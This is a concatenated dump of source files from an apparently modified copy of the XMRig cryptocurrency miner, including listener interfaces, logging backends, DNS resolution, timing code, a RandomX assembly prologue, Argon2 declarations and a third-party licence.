XMRIG_IBASELISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class Config; 30 | 31 | 32 | class IBaseListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(IBaseListener) 36 | 37 | IBaseListener() = default; 38 | virtual ~IBaseListener() = default; 39 | 40 | virtual void onConfigChanged(Config *config, Config *previousConfig) = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_IBASELISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/io/log/backends/FileLog.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2019 Spudz76 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | 21 | #include "base/io/log/backends/FileLog.h" 22 | 23 | 24 | #include 25 | #include 26 | 27 | 28 | xmrig::FileLog::FileLog(const char *fileName) : 29 | m_writer(fileName) 30 | { 31 | } 32 | 33 | 34 | void xmrig::FileLog::print(uint64_t, int, const char *line, size_t, size_t size, bool colors) 35 | { 36 | if (!m_writer.isOpen() || colors) { 37 | return; 38 | } 39 | 40 | assert(strlen(line) == size); 41 | 42 | m_writer.write(line, size); 43 | } 44 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/api/interfaces/IApiListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2018-2021 SChernykh 3 | * Copyright 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IAPILISTENER_H 20 | #define XMRIG_IAPILISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class IApiRequest; 30 | 31 | 32 | class IApiListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(IApiListener) 36 | 37 | IApiListener() = default; 38 | virtual ~IApiListener() = default; 39 | 40 | # ifdef XMRIG_FEATURE_API 41 | virtual void onRequest(IApiRequest &request) = 0; 42 | # endif 43 | }; 44 | 45 | 46 | } /* namespace xmrig */ 47 | 48 | 49 | #endif // XMRIG_IAPILISTENER_H 50 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IHttpListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IHTTPLISTENER_H 20 | #define XMRIG_IHTTPLISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class HttpData; 30 | class HttpResponse; 31 | 32 | 33 | class IHttpListener 34 | { 35 | public: 36 | XMRIG_DISABLE_COPY_MOVE(IHttpListener) 37 | 38 | IHttpListener() = default; 39 | virtual ~IHttpListener() = default; 40 | 41 | virtual void onHttpData(const HttpData &data) = 0; 42 | }; 43 | 44 | 45 | } /* namespace xmrig */ 46 | 47 | 48 | #endif // XMRIG_IHTTPLISTENER_H 49 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/rx/RxVm.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2019 tevador 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_RX_VM_H 21 | #define XMRIG_RX_VM_H 22 | 23 | 24 | #include 25 | 26 | 27 | class randomx_vm; 28 | 29 | 30 | namespace xmrig 31 | { 32 | 33 | 34 | class Assembly; 35 | class RxDataset; 36 | 37 | 38 | class RxVm 39 | { 40 | public: 41 | static randomx_vm *create(RxDataset *dataset, uint8_t *scratchpad, bool softAes, const Assembly &assembly, uint32_t node); 42 | static void destroy(randomx_vm *vm); 43 | }; 44 | 45 | 46 | } /* namespace xmrig */ 47 | 48 | 49 | #endif /* XMRIG_RX_VM_H */ 50 | -------------------------------------------------------------------------------- /Modified XMRig/src/hw/api/HwApi.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_HWAPI_H 20 | #define XMRIG_HWAPI_H 21 | 22 | 23 | #include "base/api/interfaces/IApiListener.h" 24 | 25 | 26 | #include 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class DmiReader; 33 | 34 | 35 | class HwApi : public IApiListener 36 | { 37 | public: 38 | HwApi() = default; 39 | 40 | protected: 41 | void onRequest(IApiRequest &request) override; 42 | 43 | private: 44 | # ifdef XMRIG_FEATURE_DMI 45 | std::shared_ptr m_dmi; 46 | # endif 47 | }; 48 | 49 | 50 | } /* namespace xmrig */ 51 | 52 | 53 | #endif /* XMRIG_HWAPI_H */ 54 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IDnsListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IDNSLISTENER_H 20 | #define XMRIG_IDNSLISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class DnsRecords; 30 | 31 | 32 | class IDnsListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(IDnsListener) 36 | 37 | IDnsListener() = default; 38 | virtual ~IDnsListener() = default; 39 | 40 | virtual void onResolved(const DnsRecords &records, int status, const char *error) = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_IDNSLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/fmt/LICENSE.rst: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012 - present, Victor Zverovich 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining 4 | a copy of this software and associated documentation files (the 5 | "Software"), to deal in the Software without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Software, and to 8 | permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be 12 | included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 17 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 18 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 19 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 20 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | 22 | --- Optional exception to the license --- 23 | 24 | As an exception, if, as a result of your compiling your source code, portions 25 | of this Software are embedded into a machine-executable object form of such 26 | source code, you may redistribute such embedded portions in such object form 27 | without including the above copyright and permission notices. 28 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | 26 | #ifndef XMRIG_3RDPARTY_ARGON2_H 27 | #define XMRIG_3RDPARTY_ARGON2_H 28 | 29 | 30 | #include "3rdparty/argon2/include/argon2.h" 31 | 32 | 33 | #endif /* XMRIG_3RDPARTY_ARGON2_H */ 34 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/interfaces/IRxListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2019 tevador 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_IRXLISTENER_H 21 | #define XMRIG_IRXLISTENER_H 22 | 23 | 24 | #include "base/tools/Object.h" 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | class IRxListener 31 | { 32 | public: 33 | XMRIG_DISABLE_COPY_MOVE(IRxListener) 34 | 35 | IRxListener() = default; 36 | virtual ~IRxListener() = default; 37 | 38 | # ifdef XMRIG_ALGO_RANDOMX 39 | virtual void onDatasetReady() = 0; 40 | # endif 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_IRXLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/config/Title.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_TITLE_H 20 | #define XMRIG_TITLE_H 21 | 22 | 23 | #include "3rdparty/rapidjson/fwd.h" 24 | #include "base/tools/String.h" 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | class Title 31 | { 32 | public: 33 | Title() = default; 34 | Title(const rapidjson::Value &value); 35 | 36 | inline bool isEnabled() const { return m_enabled; } 37 | 38 | rapidjson::Value toJSON() const; 39 | String value() const; 40 | 41 | private: 42 | bool m_enabled = true; 43 | String m_value; 44 | }; 45 | 46 | 47 | } // namespace xmrig 48 | 49 | 50 | #endif /* XMRIG_TITLE_H */ 51 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/tools/NetBuffer.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_NETBUFFER_H 20 | #define XMRIG_NETBUFFER_H 21 | 22 | 23 | struct uv_buf_t; 24 | using uv_handle_t = struct uv_handle_s; 25 | 26 | 27 | #include 28 | 29 | 30 | namespace xmrig { 31 | 32 | 33 | class NetBuffer 34 | { 35 | public: 36 | static char *allocate(); 37 | static void destroy(); 38 | static void onAlloc(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf); 39 | static void release(const char *buf); 40 | static void release(const uv_buf_t *buf); 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif /* XMRIG_NETBUFFER_H */ 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/stratum/ProxyUrl.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2018-2020 SChernykh 3 | * Copyright 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_PROXYURL_H 20 | #define XMRIG_PROXYURL_H 21 | 22 | 23 | #include "base/net/stratum/Url.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class ProxyUrl : public Url 30 | { 31 | public: 32 | inline ProxyUrl() { m_port = 0; } 33 | 34 | ProxyUrl(const rapidjson::Value &value); 35 | 36 | inline bool isValid() const { return m_port > 0 && (m_scheme == UNSPECIFIED || m_scheme == SOCKS5); } 37 | 38 | const String &host() const; 39 | rapidjson::Value toJSON(rapidjson::Document &doc) const; 40 | }; 41 | 42 | 43 | } /* namespace xmrig */ 44 | 45 | 46 | #endif /* XMRIG_PROXYURL_H */ 47 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/io/log/backends/SysLog.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2019 Spudz76 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | 21 | #include 22 | 23 | 24 | #include "base/io/log/backends/SysLog.h" 25 | #include "version.h" 26 | 27 | 28 | xmrig::SysLog::SysLog() 29 | { 30 | openlog(APP_ID, LOG_PID, LOG_USER); 31 | } 32 | 33 | 34 | xmrig::SysLog::~SysLog() 35 | { 36 | closelog(); 37 | } 38 | 39 | 40 | void xmrig::SysLog::print(uint64_t, int level, const char *line, size_t offset, size_t, bool colors) 41 | { 42 | if (colors) { 43 | return; 44 | } 45 | 46 | syslog(level == -1 ? LOG_INFO : level, "%s", line + offset); 47 | } 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/io/log/backends/SysLog.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2019 Spudz76 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_SYSLOG_H 21 | #define XMRIG_SYSLOG_H 22 | 23 | 24 | #include "base/kernel/interfaces/ILogBackend.h" 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | class SysLog : public ILogBackend 31 | { 32 | public: 33 | XMRIG_DISABLE_COPY_MOVE(SysLog) 34 | 35 | SysLog(); 36 | ~SysLog() override; 37 | 38 | protected: 39 | void print(uint64_t timestamp, int level, const char *line, size_t offset, size_t size, bool colors) override; 40 | }; 41 | 42 | 43 | } /* namespace xmrig */ 44 | 45 | 46 | #endif /* XMRIG_SYSLOG_H */ 47 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/cl.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_CL_H 26 | #define XMRIG_CL_H 27 | 28 | 29 | #if defined(__APPLE__) 30 | # include 31 | #else 32 | # include "3rdparty/CL/cl.h" 33 | #endif 34 | 35 | 36 | #endif /* XMRIG_CL_H */ 37 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/ILogBackend.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ILOGBACKEND_H 20 | #define XMRIG_ILOGBACKEND_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | #include 27 | #include 28 | 29 | 30 | namespace xmrig { 31 | 32 | 33 | class ILogBackend 34 | { 35 | public: 36 | XMRIG_DISABLE_COPY_MOVE(ILogBackend) 37 | 38 | ILogBackend() = default; 39 | virtual ~ILogBackend() = default; 40 | 41 | virtual void print(uint64_t timestamp, int level, const char *line, size_t offset, size_t size, bool colors) = 0; 42 | }; 43 | 44 | 45 | } /* namespace xmrig */ 46 | 47 | 48 | #endif // XMRIG_ILOGBACKEND_H 49 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Chrono.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #include "Chrono.h" 20 | 21 | 22 | #ifdef XMRIG_OS_WIN 23 | # include 24 | #endif 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | double Chrono::highResolutionMSecs() 31 | { 32 | # ifdef XMRIG_OS_WIN 33 | LARGE_INTEGER f, t; 34 | QueryPerformanceFrequency(&f); 35 | QueryPerformanceCounter(&t); 36 | return static_cast(t.QuadPart) * 1e3 / f.QuadPart; 37 | # else 38 | using namespace std::chrono; 39 | return static_cast(duration_cast(high_resolution_clock::now().time_since_epoch()).count()) / 1e6; 40 | # endif 41 | } 42 | 43 | 44 | } /* namespace xmrig */ 45 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/dns/Dns.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include "base/net/dns/Dns.h" 21 | #include "base/net/dns/DnsUvBackend.h" 22 | 23 | 24 | namespace xmrig { 25 | 26 | 27 | DnsConfig Dns::m_config; 28 | std::map > Dns::m_backends; 29 | 30 | 31 | } // namespace xmrig 32 | 33 | 34 | std::shared_ptr xmrig::Dns::resolve(const String &host, IDnsListener *listener, uint64_t ttl) 35 | { 36 | if (m_backends.find(host) == m_backends.end()) { 37 | m_backends.insert({ host, std::make_shared() }); 38 | } 39 | 40 | return m_backends.at(host)->resolve(host, listener, ttl == 0 ? m_config.ttl() : ttl); 41 | } 42 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_prologue_win64.inc: -------------------------------------------------------------------------------- 1 | ;# callee-saved registers - Microsoft x64 calling convention 2 | push rbx 3 | push rbp 4 | push rdi 5 | push rsi 6 | push r12 7 | push r13 8 | push r14 9 | push r15 10 | sub rsp, 80 11 | movdqu xmmword ptr [rsp+64], xmm6 12 | movdqu xmmword ptr [rsp+48], xmm7 13 | movdqu xmmword ptr [rsp+32], xmm8 14 | movdqu xmmword ptr [rsp+16], xmm9 15 | movdqu xmmword ptr [rsp+0], xmm10 16 | sub rsp, 80 17 | movdqu xmmword ptr [rsp+64], xmm11 18 | movdqu xmmword ptr [rsp+48], xmm12 19 | movdqu xmmword ptr [rsp+32], xmm13 20 | movdqu xmmword ptr [rsp+16], xmm14 21 | movdqu xmmword ptr [rsp+0], xmm15 22 | 23 | ;# function arguments 24 | push rcx ;# RegisterFile& registerFile 25 | mov rbp, qword ptr [rdx] ;# "mx", "ma" 26 | mov rdi, qword ptr [rdx+8] ;# uint8_t* dataset 27 | 28 | ;# dataset prefetch for the first iteration of the main loop 29 | mov rax, rbp 30 | shr rax, 32 31 | and eax, RANDOMX_DATASET_BASE_MASK 32 | prefetchnta byte ptr [rdi+rax] 33 | 34 | mov rsi, r8 ;# uint8_t* scratchpad 35 | mov rbx, r9 ;# loop counter 36 | 37 | mov rax, rbp 38 | ror rbp, 32 39 | 40 | ;# zero integer registers 41 | xor r8, r8 42 | xor r9, r9 43 | xor r10, r10 44 | xor r11, r11 45 | xor r12, r12 46 | xor r13, r13 47 | xor r14, r14 48 | xor r15, r15 49 | 50 | ;# load constant registers 51 | lea rcx, [rcx+120] 52 | movapd xmm8, xmmword ptr [rcx+72] 53 | movapd xmm9, xmmword ptr [rcx+88] 54 | movapd xmm10, xmmword ptr [rcx+104] 55 | movapd xmm11, xmmword ptr [rcx+120] 56 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/lib/genkat.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Argon2 source code package 3 | * 4 | * Written by Daniel Dinu and Dmitry Khovratovich, 2015 5 | * 6 | * This work is licensed under a Creative Commons CC0 1.0 License/Waiver. 7 | * 8 | * You should have received a copy of the CC0 Public Domain Dedication along 9 | * with 10 | * this software. If not, see 11 | * . 12 | */ 13 | 14 | #ifndef ARGON2_KAT_H 15 | #define ARGON2_KAT_H 16 | 17 | #include "core.h" 18 | 19 | /* 20 | * Initial KAT function that prints the inputs to the file 21 | * @param blockhash Array that contains pre-hashing digest 22 | * @param context Holds inputs 23 | * @param type Argon2 type 24 | * @pre blockhash must point to INPUT_INITIAL_HASH_LENGTH bytes 25 | * @pre context member pointers must point to allocated memory of size according 26 | * to the length values 27 | */ 28 | void initial_kat(const uint8_t *blockhash, const argon2_context *context, 29 | argon2_type type); 30 | 31 | /* 32 | * Function that prints the output tag 33 | * @param out output array pointer 34 | * @param outlen digest length 35 | * @pre out must point to @a outlen bytes 36 | **/ 37 | void print_tag(const void *out, uint32_t outlen); 38 | 39 | /* 40 | * Function that prints the internal state at given moment 41 | * @param instance pointer to the current instance 42 | * @param pass current pass number 43 | * @pre instance must have necessary memory allocated 44 | **/ 45 | void internal_kat(const argon2_instance_t *instance, uint32_t pass); 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/io/log/backends/FileLog.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2019 Spudz76 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_FILELOG_H 21 | #define XMRIG_FILELOG_H 22 | 23 | 24 | #include "base/io/log/FileLogWriter.h" 25 | #include "base/kernel/interfaces/ILogBackend.h" 26 | 27 | 28 | namespace xmrig { 29 | 30 | 31 | class FileLog : public ILogBackend 32 | { 33 | public: 34 | FileLog(const char *fileName); 35 | 36 | protected: 37 | void print(uint64_t timestamp, int level, const char *line, size_t offset, size_t size, bool colors) override; 38 | 39 | private: 40 | FileLogWriter m_writer; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif 